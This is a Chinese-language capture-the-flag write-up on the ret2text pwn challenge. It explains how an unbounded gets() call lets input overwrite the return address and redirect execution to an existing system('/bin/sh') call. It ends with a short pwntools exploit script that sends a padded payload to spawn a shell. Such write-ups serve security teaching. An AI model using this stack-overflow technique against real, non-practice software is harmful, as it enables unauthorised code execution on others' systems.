ret2text ROP绕过策略

下载链接:https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2text/bamboofox-ret2text/ret2text

分析

chmod 777 文件名 开启权限
1.先查看安全防护机制 :checksec ret2text
2.将文件拖入IDA中,反汇编发现代码中出现gets函数。我们知道gets函数是一个无线读取的函数。只要我们的栈空间足够大,我们就可以输入无线的字符。: 这也是漏洞的所在地
3.我们先进文件头拖入IDA中的时候,在主页面找找有没有/bin/sh了类似的字符串。

ret2text ROP绕过策略_第1张图片
图片.png
secure函数又发现了存在调用 system("/bin/sh") 的代码,那么如果我们直接控制程序返回至 0x0804863A,那么就可以得到系统的 shell 了
4.我们进入 kali将断点我们发现的 /bin/sh处,当程序运行到我们 secure处会直接得到系统的 shell.

实践

1.

ret2text ROP绕过策略_第2张图片
图片.png

esp:0xffffd0b0
s(输入字节的地址):
图片.png
sbp:0xffffd138

注:我们的s是数据开始输入的地址
思路:我们知道了:数据中可以利用数据段的地址,栈空间的大小

代码

##!/usr/bin/env python
from pwn import *

sh = process('./ret2text')
target = 0x804863a
sh.sendline('A' * (0x6c+4) + p32(target))
sh.interactive()

效果图:
ret2text ROP绕过策略_第3张图片
图片.png

你可能感兴趣的:(ret2text ROP绕过策略)